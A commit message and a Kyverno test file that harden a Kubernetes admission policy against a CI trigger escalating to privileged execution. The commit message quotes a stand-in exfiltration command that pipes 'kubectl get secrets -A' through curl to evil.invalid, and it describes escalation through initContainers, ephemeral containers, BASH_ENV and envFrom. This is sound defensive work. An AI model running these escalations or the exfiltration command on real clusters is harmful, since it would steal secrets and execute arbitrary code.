Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
121 lines
5.0 KiB
YAML
121 lines
5.0 KiB
YAML
# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
|
|
#
|
|
# Each DENY case below is a real escalation path, not a style violation. The one that matters
|
|
# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
|
|
# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
|
|
# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
|
|
# this policy.
|
|
#
|
|
# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
|
|
# never fires and every case trivially passes — a test that proves nothing.
|
|
apiVersion: cli.kyverno.io/v1alpha1
|
|
kind: Test
|
|
metadata:
|
|
name: conformance-trigger-job-shape
|
|
policies:
|
|
- ../../admission/conformance-trigger-job-shape.yaml
|
|
resources:
|
|
- resources.yaml
|
|
userinfo: user-info.yaml
|
|
results:
|
|
# ---- the committed run is ADMITTED ----
|
|
# `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
|
|
# init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
|
|
# so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
|
|
# 2am against the live cluster. `good-run` remains the minimal shape.
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-may-create-only-the-committed-conformance-run
|
|
kind: Job
|
|
resources: [good-run, real-template]
|
|
result: pass
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-volumes-must-be-workspace-or-results
|
|
kind: Job
|
|
resources: [good-run, real-template]
|
|
result: pass
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-args-must-be-the-committed-flags
|
|
kind: Job
|
|
resources: [good-run, real-template]
|
|
result: pass
|
|
# `real-template` is the only fixture WITH an init container, so it is the only one this
|
|
# rule reports on — a foreach over an absent list yields no result at all, which is why
|
|
# `good-run` is not listed here.
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-initcontainers-must-be-the-committed-clone-step
|
|
kind: Job
|
|
resources: [real-template]
|
|
result: pass
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-may-not-declare-ephemeral-containers
|
|
kind: Job
|
|
resources: [good-run, real-template]
|
|
result: pass
|
|
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-env-names-must-be-the-committed-set
|
|
kind: Job
|
|
resources: [real-template]
|
|
result: pass
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-may-not-use-envfrom
|
|
kind: Job
|
|
resources: [good-run, real-template]
|
|
result: pass
|
|
|
|
# ---- THE escalation: runner SA + arbitrary command ----
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-may-create-only-the-committed-conformance-run
|
|
kind: Job
|
|
resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
|
|
result: fail
|
|
|
|
# ---- an extra volume is the way out of a constrained pod ----
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-volumes-must-be-workspace-or-results
|
|
kind: Job
|
|
resources: [extra-volume]
|
|
result: fail
|
|
|
|
# ---- args beyond the committed flags ----
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-args-must-be-the-committed-flags
|
|
kind: Job
|
|
resources: [injected-args]
|
|
result: fail
|
|
|
|
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
|
|
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
|
|
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
|
|
# is the coordinator's independent reproduction; keeping it here is what stops the hole
|
|
# reopening.
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-initcontainers-must-be-the-committed-clone-step
|
|
kind: Job
|
|
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
|
|
result: fail
|
|
|
|
# ---- and via the third container list nobody was reading ----
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-may-not-declare-ephemeral-containers
|
|
kind: Job
|
|
resources: [evil-ephemeral-container]
|
|
result: fail
|
|
|
|
# ---- and via `env`, the same mistake a third time ----
|
|
# `command` is pinned, so the injection moves to a variable the pinned command honours.
|
|
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
|
|
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
|
|
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
|
|
# env rule has to exist separately.
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-env-names-must-be-the-committed-set
|
|
kind: Job
|
|
resources: [injected-env, injected-initcontainer-env]
|
|
result: fail
|
|
- policy: conformance-trigger-job-shape
|
|
rule: trigger-may-not-use-envfrom
|
|
kind: Job
|
|
resources: [envfrom-whole-secret]
|
|
result: fail
|